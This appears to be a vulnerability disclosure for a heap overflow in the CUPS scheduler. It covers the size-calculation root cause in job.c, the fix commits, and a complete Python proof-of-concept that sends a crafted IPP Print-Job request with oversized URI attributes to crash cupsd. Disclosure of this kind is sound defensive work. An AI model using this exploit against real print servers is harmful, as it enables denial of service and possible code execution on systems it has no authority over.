There is a heap-based buffer overflow in the CUPS scheduler when building filter option strings from job attributes.
Note file references are accurate for the latest release version v2.4.16, this bug is also present on main at time of writing.
Following python script constructs a IPP request that triggers this overflow and sends it to a cups server, causing a segfault.
#!/usr/bin/env python3
import argparse
import http.client
import random
import socket
import struct
IPP_VERSION_MAJOR = 2
IPP_VERSION_MINOR = 0
IPP_OP_PRINT_JOB = 0x0002
IPP_TAG_OPERATION = 0x01
IPP_TAG_JOB = 0x02
IPP_TAG_END = 0x03
IPP_TAG_URI = 0x45
IPP_TAG_NAME = 0x42
IPP_TAG_CHARSET = 0x47
IPP_TAG_LANGUAGE = 0x48
IPP_TAG_MIMETYPE = 0x49
def add_attr(buf: bytearray, value_tag: int, name: str, value: str) -> None:
name_bytes = name.encode("utf-8")
value_bytes = value.encode("utf-8")
if len(name_bytes) > 0xFFFF or len(value_bytes) > 0xFFFF:
raise ValueError(f"attribute too large: {name}")
buf.append(value_tag)
buf.extend(struct.pack(">H", len(name_bytes)))
buf.extend(name_bytes)
buf.extend(struct.pack(">H", len(value_bytes)))
buf.extend(value_bytes)
def make_uri(prefix: str, target_len: int) -> str:
if target_len <= len(prefix):
return prefix + "A"
return prefix + ("A" * (target_len - len(prefix)))
def build_ipp_request(host: str, port: int, printer: str, uuid_len: int, auth_len: int, request_id: int) -> bytes:
printer_uri = f"ipp://{host}:{port}/printers/{printer}"
job_uuid = make_uri("ipp://u/", uuid_len)
job_auth_uri = make_uri("ipp://a/", auth_len)
msg = bytearray()
msg.extend(struct.pack(">BBHI", IPP_VERSION_MAJOR, IPP_VERSION_MINOR, IPP_OP_PRINT_JOB, request_id))
msg.append(IPP_TAG_OPERATION)
add_attr(msg, IPP_TAG_CHARSET, "attributes-charset", "utf-8")
add_attr(msg, IPP_TAG_LANGUAGE, "attributes-natural-language", "en")
add_attr(msg, IPP_TAG_URI, "printer-uri", printer_uri)
add_attr(msg, IPP_TAG_NAME, "requesting-user-name", "attacker")
add_attr(msg, IPP_TAG_MIMETYPE, "document-format", "application/postscript")
msg.append(IPP_TAG_JOB)
add_attr(msg, IPP_TAG_URI, "job-uuid", job_uuid)
add_attr(msg, IPP_TAG_URI, "job-authorization-uri", job_auth_uri)
msg.append(IPP_TAG_END)
document = b"%!PS-Adobe-3.0\n%%Pages: 1\n%%EOF\n"
return bytes(msg) + document
def parse_args() -> argparse.Namespace:
parser = argparse.ArgumentParser(description="Send crafted IPP Print-Job request to trigger URI undercount overflow path.")
parser.add_argument("--host", default="127.0.0.1", help="CUPS host (default: 127.0.0.1)")
parser.add_argument("--port", type=int, default=8631, help="CUPS port (default: 8631)")
parser.add_argument("--printer", default="Test1", help="Printer name (default: Test1)")
parser.add_argument("--uuid-len", type=int, default=12000, help="Length of job-uuid URI value (default: 12000)")
parser.add_argument("--auth-len", type=int, default=12000, help="Length of job-authorization-uri URI value (default: 12000)")
parser.add_argument("--request-id", type=int, default=None, help="IPP request-id (default: random)")
parser.add_argument("--timeout", type=float, default=5.0, help="HTTP timeout in seconds (default: 5.0)")
return parser.parse_args()
def main() -> int:
args = parse_args()
request_id = args.request_id if args.request_id is not None else random.randint(1, 2**31 - 1)
payload = build_ipp_request(args.host, args.port, args.printer, args.uuid_len, args.auth_len, request_id)
resource = f"/printers/{args.printer}"
headers = {
"Content-Type": "application/ipp",
"Content-Length": str(len(payload)),
"Connection": "close",
}
print(f"[*] Sending crafted Print-Job to ipp://{args.host}:{args.port}{resource}")
print(f"[*] job-uuid length={args.uuid_len}, job-authorization-uri length={args.auth_len}, payload={len(payload)} bytes")
try:
conn = http.client.HTTPConnection(args.host, args.port, timeout=args.timeout)
conn.request("POST", resource, body=payload, headers=headers)
resp = conn.getresponse()
body = resp.read()
print(f"[*] HTTP status: {resp.status} {resp.reason}, response bytes: {len(body)}")
conn.close()
return 0
except (ConnectionError, socket.error, OSError) as exc:
print(f"[!] Connection failed (expected if cupsd crashed): {exc}")
return 0
if __name__ == "__main__":
main()
Summary
There is a heap-based buffer overflow in the CUPS scheduler when building filter option strings from job attributes.
Details
Note file references are accurate for the latest release version v2.4.16, this bug is also present on main at time of writing.
The size calculation for the options string uses
ipp_lengthwhich excludes URI attributes, but serialization still writes selected URI attributes (job-uuid,job-authorization-uri).This allows an attacker who can submit IPP jobs to trigger memory corruption in
cupsdby creating malicious largejob-uuidorjob-authorization-uriattributes.The root cause in
get_options/ipp_length:get_optionsthe allocation size for the constructed option string comes fromipp_length(job->attrs)atscheduler/job.c:3912.ipp_lengthunconditionally skips URI attributes atscheduler/job.c:4191andscheduler/job.c:4193.get_optionsstill permits URI attributesjob-uuidandjob-authorization-uri(filter exception) atscheduler/job.c:3977andscheduler/job.c:3995.IPP_TAG_URIcase with direct writes (*optptr++ = ...) atscheduler/job.c:4118andscheduler/job.c:4123, without a bounds check, resulting in a potential out of bounds write if the calculated length inipp_lengthwas insufficient.PoC
Following python script constructs a IPP request that triggers this overflow and sends it to a cups server, causing a segfault.
Impact
Heap-based buffer overflow in
cupsdtriggerable by any attacker that can submit print jobs.Crash/DoS is straightforward; memory corruption may be exploitable for code execution.
Attribution
If/when publicly disclosed, please credit the report to Xint Code
EDIT:
Fixes:
master 169d216 Expand allocation of options string.
2.4.x 0ff8897 Expand allocation of options string.